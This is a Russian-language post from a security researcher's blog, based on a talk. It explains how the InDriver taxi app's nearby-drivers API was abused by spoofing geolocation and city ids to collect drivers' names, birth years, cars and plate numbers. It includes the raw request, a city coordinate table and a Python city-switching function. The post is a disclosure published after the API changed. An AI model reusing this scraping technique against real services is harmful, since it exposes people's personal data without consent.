Order Of Six Angles

Main Logo

A security researcher's blog about reverse-engineering, malware and malware analysis

Home | RU | Translations | Tools | Art | About

7 December 2018

tags: android

Собираем базу водителей такси Indriver + скрипт

Intro

Впервые я про это рассказал на 2600 (7.12.2018), KHS Community в Караганде (27.03.2019), KHS Community в Алматы (13.04.2019). Публикую, так как InDriver поменял API и теперь этот функционал недоступен.

Эта статья собрана из презентации, которую вы можете скачать:

  1. Google slides

  2. PPTX

  3. PDF

Анализ

Для анализа, нам потребуется apk. Существует два способа сделать это:

Скачать, используя онлайн сервисы (apkpure.com, apkcombo.com, apkgk.com, …)

  1. apk может быть не самой последней версии
  2. предназначена для другой страны
  3. вредоносные модификации

Установить на телефон через Google Play. Экспортировать, с помощью adb

  1. безопасный способ
  2. последняя версия
  3. для своего региона

Для анализа трафика приложения на понадобится:

  1. Эмулятор Android девайса (BlueStacks, Android Studio, …)
  2. Прокси (Burp Suite, ZAP proxy, …)
  3. Установить сертификат прокси на эмулятор, предварительно экспортировав его

  1. Установить apk на эмулятор

Основные экраны приложения:

Запросы приложения при обычной работе:

Если мы просто откроем приложение и ничего не будем делать, то InDriver переодически шлет запросы по поиску водителей рядом с вами:

Запрос выглядит так:

POST /api/getfreedrivers?cid=150&locale=en_US HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML like Gecko) Chrome/29.0.1547.65 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Host: indriver.ru
Connection: close
Accept-Encoding: gzip, deflate

phone=XXXXXXXX&token=YYYYYYYYYY&v=2&stream_id=1&source=map&longitude=71.40331149101257&latitude=51.14208076245961

Если вы заметили, то в запросе приложение отправляет вашу текущую геолокация (longitude=71.40331149101257&latitude=51.14208076245961), на основе которой формируется список водителей.

Ответ на запрос содержит много данных, в том числе и ссылку на фото:

По ссылке в ответе можно получить фото водителя:

Пишем парсер

Как вы поняли, мы можем манипулировать значением текущей геолокации, чтобы получать данные водителей в любой точке мира, где существует Indriver. Чтобы спарсить все города, собираем значения геолокации, например омск.

На основе этого составляем массив:

coords = {
		'Astana':{'lon_min' : 71.39, 'lon_max' : 71.50, 'lat_min' : 51.12, 'lat_max' : 51.17, 'cid':150}, 
		'Almaty':{'lon_min' : 76.86, 'lon_max' : 76.95, 'lat_min' : 43.22, 'lat_max' : 43.25, 'cid' : 169},
		'Kokshetau':{'lon_min' : 69.35, 'lon_max' : 69.40, 'lat_min' : 53.26, 'lat_max' : 53.28, 'cid' : 151},
		'Kostanay':{'lon_min' : 63.60, 'lon_max' : 63.64, 'lat_min' : 53.19, 'lat_max' : 53.22, 'cid' : 252},
		'Aktobe':{'lon_min' : 57.16, 'lon_max' : 57.25, 'lat_min' : 50.25, 'lat_max' : 50.30,'cid' : 213},
		'Atyrau':{'lon_min' : 51.88, 'lon_max' : 51.94, 'lat_min' : 47.10, 'lat_max' : 47.13, 'cid' : 221},
		'Aktau':{'lon_min' : 51.12, 'lon_max' : 51.20, 'lat_min' : 43.64, 'lat_max' : 43.68, 'cid' : 258},
		'Kyzylorda': {'lon_min' : 65.44, 'lon_max' : 65.56, 'lat_min' : 44.79, 'lat_max' : 44.88, 'cid' : 257},
		'Taraz': {'lon_min' : 71.32, 'lon_max' : 71.40, 'lat_min' : 42.85, 'lat_max' : 42.91, 'cid' : 235},
		'Shymkent': {'lon_min' : 69.53, 'lon_max' : 69.65, 'lat_min' : 42.29, 'lat_max' : 42.35, 'cid' : 277},
		'Taldykorgan': {'lon_min' : 78.32, 'lon_max' : 78.41, 'lat_min' : 44.98, 'lat_max' : 45.10, 'cid' : 177},
		'Karaganda': {'lon_min' : 73.06, 'lon_max' : 73.15, 'lat_min' : 49.77, 'lat_max' : 49.82, 'cid' : 242},
		'Pavlodar': {'lon_min' : 76.93, 'lon_max' : 76.99, 'lat_min' : 52.25, 'lat_max' : 52.30, 'cid' : 262},
		'Petropavl': {'lon_min' : 69.10, 'lon_max' : 69.16, 'lat_min' : 54.85, 'lat_max' : 54.88, 'cid' : 266},
		'Semei': {'lon_min' : 80.21, 'lon_max' : 80.28, 'lat_min' : 50.40, 'lat_max' : 50.44, 'cid' : 228},
		'Ustkaman': {'lon_min' : 82.56, 'lon_max' : 82.64, 'lat_min' : 49.94, 'lat_max' : 49.97, 'cid' : 230},
		'Tashkent': {'lon_min' : 69.20, 'lon_max' : 69.35, 'lat_min' : 41.27, 'lat_max' : 41.34, 'cid' : 638},
		'Bishkek': {'lon_min' : 74.51, 'lon_max' : 74.65, 'lat_min' : 42.83, 'lat_max' : 42.89, 'cid' : 639},
		'Omsk': {'lon_min' : 73.21, 'lon_max' : 73.51, 'lat_min' : 54.90, 'lat_max' : 55.04, 'cid' : 578},
		'Barnaul': {'lon_min' : 83.66, 'lon_max' : 83.80, 'lat_min' : 53.33, 'lat_max' : 53.40, 'cid' : 279},
		'Tomsk': {'lon_min' : 84.92, 'lon_max' : 84.92, 'lat_min' : 56.46, 'lat_max' : 56.54, 'cid' : 12},
		'Yakutsk': {'lon_min' : 129.70, 'lon_max' : 129.75, 'lat_min' : 62.00, 'lat_max' : 62.04, 'cid' : 1},
		'Ekibastuz': {'lon_min' : 75.28, 'lon_max' : 75.35, 'lat_min' : 51.69, 'lat_max' : 51.74, 'cid' : 263},
		'Balhash': {'lon_min' : 74.95, 'lon_max' : 75.00, 'lat_min' : 46.83, 'lat_max' : 46.85, 'cid' : 240},
		'Temirtau': {'lon_min' : 72.92, 'lon_max' : 73.00, 'lat_min' : 50.04, 'lat_max' : 50.06, 'cid' : 248},
		'Pyatigorsk': {'lon_min' : 43.11, 'lon_max' : 42.99, 'lat_min' : 44.00, 'lat_max' : 44.05, 'cid' : 742},
		'Vladivostok': {'lon_min' : 131.87, 'lon_max' : 131.95, 'lat_min' : 43.11, 'lat_max' : 43.14, 'cid' : 11},
		'Krasnoyarsk': {'lon_min' : 92.80, 'lon_max' : 92.96, 'lat_min' : 55.98, 'lat_max' : 56.02, 'cid' : 182},
		'Surgut': {'lon_min' : 73.35, 'lon_max' : 73.44, 'lat_min' : 61.23, 'lat_max' : 61.27, 'cid' : 87},
		'Tumen': {'lon_min' : 65.47, 'lon_max' : 65.60, 'lat_min' : 57.11, 'lat_max' : 57.17, 'cid' : 146},
		'Perm': {'lon_min' : 57.95, 'lon_max' : 58.00, 'lat_min' : 56.12, 'lat_max' : 56.30, 'cid' : 110},
		'Habarovsk': {'lon_min' : 135.03, 'lon_max' : 135.13, 'lat_min' : 48.45, 'lat_max' : 48.51, 'cid' : 79},
		'Ulan-Ude': {'lon_min' : 107.53, 'lon_max' : 107.70, 'lat_min' : 51.80, 'lat_max' : 51.85, 'cid' : 10}
		}

Значение cid - это id города. Достать его было не так просто, так как он

  1. Уникален для каждого города
  2. Само приложение получает его только тогда, когда мы руками меняем свой город нахождения.

Выдергивать каждый город отдельно было больно и долго, поэтому я покопался в приложении и нашел неочевидный API запрос на получения id по имени города, который приложение не использовало вообще (во всяком случае, в трафике я его не видел). Этот запрос, к сожалению, сохранить не удалось =(.

Суть скрипта в брутфорсе API получения водителей рядом, с координатами из разных городов. Перед тем, как вы будете делать запрос к новому город, вам надо уведомить об этом приложение (как будто вы выбрали город ручками в приложении):

def change_city(new_cid):
	
	body = {'phone':'+7xxxxxxxxxx', 'token':'xxxxxxxxxxxxxxxxxxxxxxxxxxxx',
		'v':'4','stream_id':'1540382596387750', 'city_id':new_cid}

	r = requests.post('http://indriver.ru/api/profileedit?cid=150&locale=ru', data = body, 
			headers={'Content-Type':'application/x-www-form-urlencoded',
			'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0'})

Собственно сам скрипт лежит тут

Вот такие данные мы могли получить (имя, фамилия, год рождения, марка автомобиля, номер, год автомобиля, цвет):

Вверх